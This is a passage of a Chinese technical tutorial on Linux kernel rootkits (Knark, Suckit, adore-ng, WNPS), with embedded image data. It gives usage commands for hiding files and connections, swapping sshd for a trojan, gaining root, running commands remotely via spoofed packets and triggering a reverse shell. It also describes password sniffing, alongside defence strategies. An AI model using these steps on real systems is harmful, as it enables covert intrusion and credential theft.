lvMFgvGBobhgPD8/X69fabXi9os4bs7PzyMYHySKC8ZLy7fu3LnXasXtF/v7raXlWwjGB4kDIxgnDwVOXsCgHBjBmHAMn4KC8RsXl9L/eS9SSziGzxgJxukQjuFTUDDOHDlcgrGhWKgPZO6ZGC4Nw1KFHY3Sw4FsXASPgrHT9VHKjXYfRm6cWrtYcT0KFbnHzIQdDsodF6SgYJw5crgEY736bGdLYvWptyDoNxi4TqyrSqUQDnzSovgUjNu0T2tvfuiUpHUUKBVU4XoUTNleKeEYPgUF48yRwyEY16Oo1n2VhKEeBUEYBj3x02pjFSs2PVEhHL0lDeWOC+JTMFaWhaKE7mpjFivu/RyEoThyqOtdyh0XoqBgnDly9C8YM+pXlrIFY25VrDBlCsbqXa5QQZB9QIRwgAjhABHCASKEA0SoYAwiVDAGESoYgwiCMYggGIPIGFUwTodwDB8EYxDxWcG4EoIxV/r6Z/IEY60IJaThs4JxRQRjFJJ+mUDBOCmJDBl4rGBcqmDsKokMGUyGYMyCtBDlVzDmk1xZEIxBBMEYRJB9QIRwgAjhABHCASKEA0SoYAwiVDAGESoYgwiCcYL0Ze3kqmUIxgmEw2RyKhhnXsUZMBzp+x/La0iTIxgTjtxMXAXjzi4ce2ifP9snUXcoVULW9l/rKUhtVSk0331MmATB2H575x7aeVEi4dhzciD2gWpbOk17PSZm5BizCsZKD/UX1h6MBqqnmPiKGmZkte7Gf2RiwjFmgrHSrSeuOvbQRzjSJgXCEcfxuFQwtt8+eVP3HpSX4p7VicMwVR3TirKqmphwjIdgbNHpFkR19x7qUaCuHdUTrUVG+7Vx/qempoIoCvWVc5KiSViQUsF4QjiogrG5ehy7Ib0KIBiDCLIPiBAOECEcIEI4QIRwgAgVjEGECsYgQgVjEKm4YOz8AnWQL9zH8gJYWVRcMCYcZeKzgnGBE0M4ysSnYEw4xgx/FYz7UHxT1b2e4lkLO9JERuc4ji0l2LlDcONRMM5UfB2f6u4mzQiqhVp4ullzW8eC6Wn/Bix8VjDOVHxtAzmxs9R+hgXea2/u0DH/OHcIbnwKxpmKb6+ZNvcEQaCdZFc4nDsUwmHtENx4rGCcqfg67OLuC03+dYVDtI51Odm9Q3DjVTDOUnxtu1gdVRJxzDmtuHfolJOtHYKb8isYQ2UpWzCGClOmYAwVB9kHRAgHiBAOECEcIEI4QATBGEQQjEEEwRhEqikYu1wvvfhgelu7JxdRClBNwXiY4UAMLIxPwbh/8liiWW2pHFSYalYwJhyVwJ9gbCikSqG3ni2slKy1FGKzWp+CVgdZ26a0Y2rJTUkVjLVw2Lawa6PeRYtJJxzuCsOMHIXxKBinjBym1iVZoi4zVK2CrGPvC3LhUTD2EI5if+qCgEfB2KznWjQc2rSiWueuCsOEYwDKEIzNysN5w6GvOyNjpWGuPwlHYRCMQQTBGEQQjEEE2QdECAeIEA4QIRwgQjhAhHCACOEAEcIBIoQDRAgHiBAOECEcIEI4QIRwgAjhABHCASKEA0T+Do5EOGTmQAU2AAAAAElFTkSuQmCC" alt="" />

0x2: Features

Knark具有以下特性:

. 隐藏或显示文件或目录
. 隐藏TCP或UDP连接
. 程序执行重定向
. 非授权地用户权限增加("rootme")
. 改变一个运行进程的UID/GID的工具
. 非授权地、特权程序远程执行守护进程(后门端口)
. Kill –: 隐藏运行的进程
. 调用表修改: rootkit通过修改导出的系统调用表,对与攻击行为相关的系统调用进行替换,隐藏攻击者的行踪

该软件包的核心软件是knark.c,它是一个Linux LKM(loadable kernel-module)
当knark被加载,隐藏目录/proc/knark被创建,该目录下将包含以下文件:

. author: 作者自我介绍
. files: 系统中隐藏文件列表
. nethides 在/proc/net/[tcp udp]隐藏的字符串
. pids: 被隐藏的pids列表,格式类似于ps命令输出
. redirects: 被重定向的可执行程序入口列表

该软件包编译以后将有下面这些工具软件(它们都依赖于被加载的模块knark.o)

. hidef: 用于在系统中隐藏文件
在/usr/lib目录下创建子目录hax0r,然后运行命令"./hidef /usr/lib/.hax0r",则该目录会被隐藏,"ls"或"du"等命令都不能显示该目录及其子目录 . unhidef: 用来恢复被隐藏的文件
) 可以通过访问"cat /proc/knark/files"来察看你隐藏了哪些文件
) 通过"./unhidef /usr/lib/.hax0r"命令来解除对隐藏文件的隐藏 . ered: 用来配置重定向程序的执行(进程劫持)
拷贝特洛伊木马版本的sshd为/usr/lib/.hax0r/sshd_trojan,然后运行"./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan",这样当/usr/local/sbin/sshd被运行时,实际上运行的特洛伊木马版本的
sshd。可以通过命令./ered -c来清楚所有的可执行程序重定向 . nethide: 用来隐藏/proc/net/tcp和/proc/net/udp中的某些字符串
netstat命令就不会得到指定的链接信息。通过命令/nethide ":ABCD "可以隐藏和端口号ABCD(十六进制)相关的连接( dec)。也就是对/proc/net/[tcp udp]读取时进行"grep -v"操作。
要理解knark这个功能的作用,我们需要理解使用该程序从/proc/net/[tcp udp]得到的输出的意义
) 假设系统运行有sshd,那么连接到本地22端口以后,运行"netstat -at",则输出可能包含:
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp localhost:ssh localhost: ESTABLISHED ) 现在我们来检测文件/proc/net/tcp:
cat /proc/net/tcp
则输出可能包含入下内容:
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
: : : 0A : : f4a4a540 - ) 若我们希望隐藏和地址127.0.0.1相关的任何信息,我们必须使用如上面所示的十六进制的格式。因此如果希望隐藏地址127.0.0.1的22号端口相关的内容就要使用0100007F:0016来标识该链接。
因此"./nethide "0100007F:"将隐藏to/from localhost:22相关的链接信息 . rootme: 用来实现非特权用户获得root访问权限
) "./rootme /bin/sh"
实现以root身份运行/bin/sh
) "./rootme /bin/ls -l /root"
仅仅以root身份运行单个命令。 . taskhack: 用来改变某个运行着的进程的uid和gid
./taskhack -alluid= pid
该命令将进程pid的所有*uid's (uid, euid, suid, fsuid)为0(root) . rexec: 用来远程执行knark-server的命令:
./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER
这命令将从www.microsoft.com:53发送一个伪装的udp数据包到haxored.server.nu:,来运行haxored.server.nu的命令"/bin/touch /LUDER"
入侵者入侵以后往往将knark的各种工具存放在/dev/某个子目录下创建的隐藏子目录,如/dev/.ida/.knard等等

0x3: Defense Strategy

knark rootkit属于LKM层的rootkit,不容易通过普通方法发现和清除,建议使用的方法有

. knarkfinder.c来发现Knark隐藏的进程

. 以非特权用户身份来运行Knark的一个软件包如:rootme,看该用户是否能获得root权限。由于目前Knark目前没有认证机制,因此任何系统被安装了Knark任何一个本地用户运行这个程序都能获得root权限。

. 使用kstat来检测 

. 去除LKM机制
) 创建和使用不支持可加载模块的内核,也就是使用单块内核。这样knark就不能插入到内核中去了
) 使用lcap实现系统启动结束以后移除内核LKM功能,这样可以防止入侵者加载模块

Relevant Link:

http://packetstormsecurity.com/files/24853/knark-2.4.3.tgz.html
http://netsecurity.51cto.com/art/200801/63989.htm
http://netsecurity.51cto.com/art/200801/63989_1.htm
http://netsecurity.51cto.com/art/200801/63989_2.htm
http://antivirus.downloadatoz.com/5480,linux-rootkit-knark,removal-tips.html

3. Suckit(super user control kit)

0x1: Installation && Usage

make skconfig
输入各种参数
make

aaarticlea/png;base64,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" alt="" />

0x2: Features

. sk(suckit(super user control kit))后门服务端程序为静态ELF文件,压缩之后就几十K的大小,这意味着suckit对目标系统占用的资源较少,相对不容易出现CPU飙高等性能异常现象

. 通过对肉鸡的任何开放的TCP端口发送特定数据就可以激活后门,端口复用
通过对肉鸡的任何开放的TCP端口发送特定数据就可以激活后门回连到我们的客户端,并且客户端有自动扫描功能,它会自动扫描肉鸡开放的端口并发送激活指令。特别在一些有防火墙的环境里,限制了回连的目标端口,我们还可以指定
特殊的回连端口来绕过防火墙,比如回连到80、443这种一般都开放的TCP端口 . sk后门
SK后门有一个TTY Sniffer(即"键盘记录"),不过它不但可以记录控制台的操作,还可以记录远程连接的操作
它根据程序指定的关键字抓取TTY记录,主要包括ssh、passwd、telnet、login等关键字。通过这个功能,我们可以很容易地抓到相关密码而扩大战果,特别是在Root密码设置十分BT的时候,我们无法用John来暴力破解,TTY Log就
可以记录到Root的密码,甚至是其他Linux的Root密码 . sk采用动态隐藏的方式来隐藏指定的内容,包括
) 文件
) 进程
) 网络连接
当我们使用SK的客户端登录到肉鸡之后,除了文件是根据prefix隐藏之外,其他的一切操作都是隐藏的。这个功能十分方便,只要我们使用SK的客户端登录之后,就可以放心地操作了,不需要担心什么东西没有隐藏而被管理员发现。相
比之下,adore-ng这类Rootkit就有点不人性化了,必须使用客户端手动隐藏指定的进程、网络和文件 . sk可以感染系统的ELF文件达到自启动的目的,也可以通过替换系统的init文件来实现自动启动

相较于其他的LKM注入、劫持型的rootkit而言,SK并没有修改系统调用跳转表的内容,而是:

. sk首先拷贝了系统调用表
. 然后将拷贝的系统调用表按照入侵者的意图进行修改成执行入侵者改写的系统调用响应函数
. 然后将system_call从旧的系统调用表上移开,指向新的系统调用表

Ps: 这种技术属于早些年的"修改内核对象达到劫持systemcall系统调用"的技术,对于linux下的系统调用劫持,还有很多别的姿势

http://www.cnblogs.com/LittleHann/p/3854977.html

0x3: Defense Strategy

SK是通过读和写kmem来控制系统的,kmem是一个字符设备文件,是计算机主存的一个影像。它可以用于测试甚至修改系统,通过禁止写kmem可以从一定程度上防御sk rootkit

Relevant Link:

http://www.hacker.com.cn/uploadfile/2013/0416/20130416020443596.pdf

4. adore-ng

0x1: Installation && Usage

mv Makefile.2.6 Makefile
make

0x2: Features

相比于其他使用LKM相关的rootkit技术,adore-ng rootkit并不修改系统调用层的内容,而是通过修改VFS(Virtual Filesystem Switch)层的具体处理函数,如替换VFS层的 file_ops等函数,来实现信息隐藏目的

. adore-ng稳定性较好
. adore-ng后门服务端程序可以根据具体环境进行动态编译
. 可以使用客户端手动的去隐藏指定的进程、网络和文件;
. adore-ng可以可以通过插入或者替换系统模块来实现自动启动

0x3: Defense Strategy

对于adore-ng的rootkit攻防,我们可以学习到的是:

. 有很多的rootkit defenser软件会对系统调用进行安全性检测,看是否被替换或者增加了可疑的系统调用模块(LMK注入)
. adore-ng不拦截系统调用,而是拦截具体文件系统的回调函数,因为本身文件系统(VFS)的回调函数就是动态注册的,就是动态变化的,那么反黑软件自然就不能简单下结论说这个函数被黑掉了,因此这个rootkit能获得更好的隐
蔽性

5. WNPS

0x1: Installation && Usage

wnps的安装必须要注意的一个问题是linux内核版本的问题,这里建议使用red hat enterprise as4 kernel 2.6.9版本,太高版本在编译wnps的时候可能会出现问题

make && make install

编译完成后,要注意的是,我们的client和肉鸡server使用的"tcp标志密码"一定要一致,通过config.进行配置,这个"tcp标志密码"用于附带在tcp数据报中,用于激活肉鸡端的shell开关,因此,本质上来说,wnps的使用应该分成两步: 本地监听一个端口等待肉鸡反连、向肉鸡发送密码激活肉鸡去反连、获得shell

这两步可以通过wnps提供的客户端自动完成

/*
目标肉鸡的ip是192.168.207.135
1. client会默认监听本地8899(可配置)
2. client会自动轮询从21端口开始向用户指定的远程肉鸡建立连接(因此必须先建立tcp连接才能发送带"tcp标志密码"的tcp数据包)
3. 和肉鸡建立好tcp连接之后,先肉鸡发送带"tcp标志密码"的tcp数据包
4. 肉鸡的wnps.o模块因为注册了netfilter的回调函数,当在tcp数据报中检测到了关键字之后,会自动开启shell,并进行内核级的反向连接
5. 后门建立成功
*/
./client -tcp 192.168.207.135

aaarticlea/png;base64,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